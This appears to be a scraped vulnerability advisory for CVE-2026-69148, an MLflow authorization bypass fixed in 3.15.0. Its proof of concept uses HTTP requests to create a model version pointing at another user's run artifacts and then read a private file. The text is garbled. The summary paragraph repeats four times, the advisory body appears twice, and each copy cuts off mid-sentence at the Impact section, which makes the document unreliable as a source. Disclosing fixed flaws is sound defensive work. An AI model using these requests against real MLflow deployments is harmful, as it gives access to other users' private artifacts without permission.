CVE-2026-69148

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.

Summary

The _validate_source_run and _validate_source_model functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact.

Details

POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside _validate_source_run only verifies path containment, not caller authorization:

# mlflow/server/handlers.py  _validate_source_run()
def _validate_source_run(source: str, run_id: str) -> None:
    if is_local_uri(source):
        if run_id:
            store = _get_tracking_store()
            run = store.get_run(run_id)          # <-- no permission check on run_id
            source = pathlib.Path(local_file_uri_to_path(source)).resolve()
            if is_local_uri(run.info.artifact_uri):
                run_artifact_dir = pathlib.Path(...).resolve()
                if run_artifact_dir in [source, *source.parents]:
                    return                       # validation passes
        raise MlflowException(...)

After creation, the model version's source and run_id point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source:

GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>

This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200.

PoC

Prerequisites: MLflow v3.13.0, --app-name basic-auth, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.

1. Alice uploads a private file:

# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt
echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt

2. Bob directly tries to read alice's artifact -- blocked:

GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 403 (when alice's experiment is private)

3. Bob creates a model version referencing alice's run_id as source anchor:

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

Response: HTTP 200

{"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}}

4. Bob reads alice's private file via the model version artifact handler:

GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 200 -- body contains ALICE_SECRET_MODEL_WEIGHTS=0.42

Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.

Impact

An authenticated user who…

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.

Summary

The _validate_source_run and _validate_source_model functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact.

Details

POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside _validate_source_run only verifies path containment, not caller authorization:

# mlflow/server/handlers.py  _validate_source_run()
def _validate_source_run(source: str, run_id: str) -> None:
    if is_local_uri(source):
        if run_id:
            store = _get_tracking_store()
            run = store.get_run(run_id)          # <-- no permission check on run_id
            source = pathlib.Path(local_file_uri_to_path(source)).resolve()
            if is_local_uri(run.info.artifact_uri):
                run_artifact_dir = pathlib.Path(...).resolve()
                if run_artifact_dir in [source, *source.parents]:
                    return                       # validation passes
        raise MlflowException(...)

After creation, the model version's source and run_id point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source:

GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>

This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200.

PoC

Prerequisites: MLflow v3.13.0, --app-name basic-auth, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.

1. Alice uploads a private file:

# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt
echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt

2. Bob directly tries to read alice's artifact -- blocked:

GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 403 (when alice's experiment is private)

3. Bob creates a model version referencing alice's run_id as source anchor:

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

Response: HTTP 200

{"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}}

4. Bob reads alice's private file via the model version artifact handler:

GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 200 -- body contains ALICE_SECRET_MODEL_WEIGHTS=0.42

Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.

Impact

An authenticated user who…

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, CreateModelVersion accepts a run_id or model_id after _validate_source_run() or _validate_source_model() in mlflow/server/handlers.py verifies only path containment, allowing authenticated users to create a model version that references another user's artifact directory and read files through GET /model-versions/get-artifact without the required READ permission. This issue is fixed in version 3.15.0.